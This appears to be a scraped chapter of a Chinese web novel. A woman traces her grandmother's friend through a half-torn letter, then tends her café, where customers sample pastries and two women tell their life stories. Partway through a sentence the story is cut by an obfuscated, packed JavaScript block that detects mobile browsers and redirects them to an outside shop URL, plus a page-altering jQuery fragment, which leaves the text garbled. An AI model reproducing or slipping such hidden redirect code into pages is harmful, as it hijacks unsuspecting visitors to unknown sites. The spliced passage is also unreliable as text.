难道“凛寓居士”只是阿梦写作时使用的笔名,而她在绘画时,又会用另一个姜白夜目前还没发现的别称?
不对,也有可能她早就在某些地方见过阿梦作画时使用的名号,只是一直没有把那些名字和阿梦联系起来罢了。
毕竟,那个年代女性地位不高,也许只有金卓平那样思想进步的人,才会真正尊重她们的工作。
若是用一个明显女性化的名字发表文章或者画作,换了别人,说不定随手就把绝世佳作扔进废纸堆里,连正眼都不瞧上一眼。
别说十九世纪的玛丽安·埃文斯要用男性笔名“乔治·艾略特”发表作品了,就算是罗琳,在《哈利·波特》大火之前,也把自己女性化的名字写成“J.K.”,显得更中性一点,不让人一眼看出作者是女性,才有可能在编辑那里得到更严肃的对待。
姜白夜一边想着,一边继续翻看那册《新时代文学》。
她发现,这本杂志封底上还用胶水松松垮垮地粘着半张信纸,边角已经有些折痕。上面的字繁简相杂,只是字体不像阿梦、砚生或者奶奶当中任何一人的。
“钟姐鉴:上月所托稿件,我已请人转至《新时代文学》杂志社。若她仍不愿署本名,只说旧号足矣,我也不好再劝。好在此处编辑皆是开明之人,若录用稿件之作者有意隐藏本名,亦不至于强求。另,我近日巡访岭左县下辖村小,得遇一位本地老中医,治疗风湿病痛、关节炎症,颇有心得。待寻访结束,我让老先生开几味药……”
后面应该还有内容,可惜这张纸似乎早就被不小心撕成了两半,下面半张连同下半部分文字已经不知所踪。
这封信夹在奶奶珍藏的杂志里,抬头又是“钟姐”,毫无疑问,就是写给奶奶的。而且,既然它偏偏粘在这一本《新时代文学》里,信中所写的“稿件”,大概率也是阿梦那篇《旧伞》。
写信人再次证明,阿梦不愿意使用自己的真名,只肯用“凛寓居士”这个旧号发表文章。
至于这封信可见的后半部分,大概就是关心奶奶身体情况了。姜白夜记得,奶奶去世前几年,每到阴雨天总抱怨膝盖疼,也许早些年就留下了关节炎的病根。
由于信的后半部分已经不在,姜白夜也找不到写信人的名字。可把这半张信纸反复端详、再读几遍后,她又有了一个猜想。
首先,写信人管奶奶叫“姐”,关心奶奶的身体健康;其次,他会应着奶奶的嘱托,帮阿梦联系杂志社发表文章,而且对阿梦的脾气也很了解;再者,信里还提到,此人正在寻访一处“村小”。
巧的是,在姜白夜目前掌握的线索里,还真有这么一位人选——他曾经管奶奶叫远房表姐,也和阿梦颇为熟悉,更重要的是,他成年后似乎一直对教育事业,尤其是穷人和弱势群体的受教育权很是上心。
看起来,金光明确实投身教育事业了。可能还因为这个缘故,他结识了一些文学出版行业的朋友。
姜白夜继续在网上搜索“金光明”、“岭左县”等几个组合起来的关键词,仍然查不到什么有效内容。似乎自己已经隐隐摸到了这几个人之间的关系,却仍然隔着一层薄薄的纱。
她在专门用来调查阿梦线索的笔记本上写下几条新的判断:金光明成年后,依然和奶奶、阿梦保持联系,且十分关心奶奶的身体健康;尽管可能有人劝过,但阿梦在《新时代文学》发表文章时,坚持不用本名。
把这封信服帖地重新叠回《新时代文学》的封底时,姜白夜心里还有些遗憾。
倘若下半封信还在,是不是就能解开更多疑问呢?
可这封信的下半部分恐怕连奶奶自己都找不到了。否则,奶奶既然会把这半封有关《旧伞》的信粘在发表了《旧伞》的这期杂志上,剩下半封若还在,她也绝不可能随便乱丢,或者夹到别的书本里去。
第二天早上,姜白夜是被楼下飘上来的点心香气香醒的。
黄油、燕麦、坚果,还有一点南瓜被烤过后的甜香,混在一起,从楼下钻上来。
因为要提前准备糕点,月英的上班时间本来就比店铺开门时间早一个小时,但她通常还会再早一点来。
姜白夜下楼时,月英正把一批热乎乎的小点心从烤盘里取出来。
“这些都是低糖点心,白夜你尝尝!”
姜白夜从自己的美术工具盒里找出一块竹签牌,在上面写下“低糖糕点,欢迎试吃”,又挑了几块卖相相对差些的小点心切开几份,摆在盘子里。
不过,她到底还是没能抵挡住香甜气味的诱惑,还没来得及全都摆上盘,就很诚实地先拿了一块品尝。
月英忙完抬头,发现自己老板正在舔手指头,笑着介绍道:“这个是我昨天新研究出来的低糖燕麦核桃饼。昨天试做了两小块,给我男朋友也尝了尝,他也挺喜欢的,所以今天早晨就做了这么一炉。太甜的东西,年轻人喜欢,老年人不一定受得住。那些经常过来打招呼的老街坊今天若是来了,正好可以给他们尝一尝。哦对了,还有这款南瓜红豆小方饼,没有任何额外添加糖,应该也很适合他们。”
说曹操,曹操到。开店没多久,张大爷又拄着拐,抱着他从别的店里买来的豆浆和肉包子进来了。
看见柜台前摆着一盒可试吃的低糖小点心,他眼睛一亮,先尝了一口燕麦核桃饼,又尝了一小块南瓜红豆小方饼,连连点头:“哎呀,小刘这姑娘手艺真好啊,随便做一个什么新品都挺好吃的!”
月英在一旁听了,低头甜甜一笑:“下一批核桃饼,我把上面的坚果再烤香一点。”
王书宁和张大爷也是认识多年的熟人了,便笑道:“张爷爷,咱们刘师傅现在有研发任务了,有什么反馈您得跟我们讲清楚,别只会说‘好吃’啊。”
张大爷倒也不生气,只慢悠悠地看了她一眼:“小王,你妈问了我多少次,有没有认识的合适小伙子,叫我介绍给你认识,我都替你挡了不知道多少回了。你跟我说话咋还这么没大没小啊?这不是忘恩负义嘛?你赶紧的,再帮我打包两块核桃饼,还有这个南瓜饼,给我家那口子也尝尝。”
店里瞬间笑作一团。
这天上午,店里来了两位女士,点名要姜白夜帮忙画像。
一头栗色短发、穿酒红色衬衫的女士说,她上个礼拜来过一次,觉得绘梦小店的调味咖啡很
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17960794|210144||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有特色,今天便带上朋友一起来尝尝。
两个人一起来,正好可以多点几种小点心,一起分享。
另一位穿七分喇叭裤的女士一进店,就好奇地四处张望,觉得哪儿都是拍照出片的点。
原本这一天,有个家长替孩子预约了画像,可孩子临时生病,只能取消。
姜白夜便顺势见缝插针,想把这两个姐姐安排进去。
可惜下午还有一个预约,如果想先后画完两个人的肖像,就算把午休的一个半小时缩短到四十分钟,时间还是有些紧。
姜白夜把自己的顾虑和两人一说,又告诉她们,店里也帮客人画过组合肖像,总价格比两人单独画像会便宜一点。
两位女士对视一眼,更兴奋了:“好啊!我俩出去玩,拍了不少合照,合体画像还是第一次呢。”
通过她们的讲述,姜白夜了解到,两人的实际年龄比看起来稍大一些。
酒红色衬衣的姐姐叫彭笑,今年四十二岁,是映川市一所高中的英语老师;另一位喇叭裤姐姐叫李露洋,刚满四十岁,是自己开店做生意的。两人都还未婚未育。
说到这里,两人还特地瞅了一眼姜白夜的表情,发现姜白夜面色如常,并没有因为她们提到自己四十多岁还没结婚,就露出一丝半毫的惊讶,她们这才继续讲下去。
这年头,一听到有人走出了和大部分人不一样的人生轨迹,就开始评头论足的人实在不少。大城市里或许好一点,可像映川这样的三线城市,保守思想依然大行其道。
彭笑说,自己二十多岁乃至三十出头那几年,也着急地到处相亲,上过约会软件。
多数人都是见了一两面便不了了之;也有相处了小半年,对方忽然说自己要出国做生意,希望彭笑能把高中英语老师的在编工作辞了,陪他去国外待着的;
还有一位也处了半年,彭笑觉得勉强可以一起过日子,可谈到结婚时才发现,对方曾经有过一段一年多的婚姻。
结过婚也罢了,毕竟自己年级也不小了,可要命的是他还有个孩子。
虽然对方说抚养权在前妻那边,可彭笑觉得,这么重要的事情都能瞒自己半年,若是真跟他结了婚,还不知道以后会爆出多大的雷呢。
就这样,一路蹉跎到三十五岁。在别人眼里,她再不生孩子就成了所谓的“大龄高危产妇”。
可也是到了这个年纪,彭笑反倒看开了。别人让她去的相亲局,她也不排斥,但再不像前几年那样,遇到个工作、学历、长相还算顺眼的男人,就费尽心思和人家互动,争取早日脱单。
她开始觉得,能遇上真正同频的人,后半辈子一起过日子当然好,遇不上也没什么。
“我就是在一次大龄男女联谊剧本杀活动上认识坚定的不婚主义者李露洋的。”说到这里,彭笑看了身边的朋友一眼。
李露洋立刻补充道:“其实我只是刷到了那个陌生人剧本杀活动,根本不知道它是以联谊为目的的。要是早知道了,我还不一定去呢。不过也幸好去了,要不然就遇不上彭笑了。”
姜白夜点点头,问道:“所以你们认识之后就迅速成了好闺密?”